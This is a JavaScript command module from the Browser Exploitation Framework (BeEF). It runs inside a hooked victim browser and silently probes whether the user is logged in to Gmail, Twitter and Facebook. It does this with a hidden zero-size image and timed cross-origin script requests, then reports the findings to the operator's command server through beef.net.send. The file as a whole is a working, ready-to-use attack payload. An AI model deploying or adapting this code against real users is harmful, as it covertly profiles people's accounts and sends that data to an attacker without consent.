// // Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var facebookresult = ""; var twitterresult = ""; if (document.getElementById('gmailimg')) { return "Img has already been created"; } var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); img.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date(); img.id = 'gmailimg'; img.setAttribute("attr","start"); img.onerror = function() { this.setAttribute("attr","error"); }; img.onload = function() { this.setAttribute("attr","load"); }; document.body.appendChild(img); $j.ajax({ url: "https://twitter.com/account/use_phx?setting=false&format=text", dataType: "script", cache: "false", complete: function(one, two) { if (two == "success") { twitterresult = "User is NOT authenticated to Twitter (response:"+two+")"; } else if (two == "timeout") { twitterresult = "User is authenticated to Twitter (response:"+two+")"; } }, timeout: <%= @timeout %> }); $j.ajax({ url: "https://www.facebook.com/imike3", dataType: "script", cache: "false", error: function(one, two, three) { facebookresult = "User is NOT authenticated to Facebook"; }, success: function(one, two, three) { facebookresult = "User is authenticated to Facebook"; }, timeout: <%= @timeout %> }); setTimeout(function() { var img2 = document.getElementById('gmailimg'); if (img2.getAttribute("attr") == "error") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); } else if (img2.getAttribute("attr") == "load") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); } else if (img2.getAttribute("attr") == "start") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); }; document.body.removeChild(img2); img = null; img2 = null; }, <%= @timeout %>+3000); });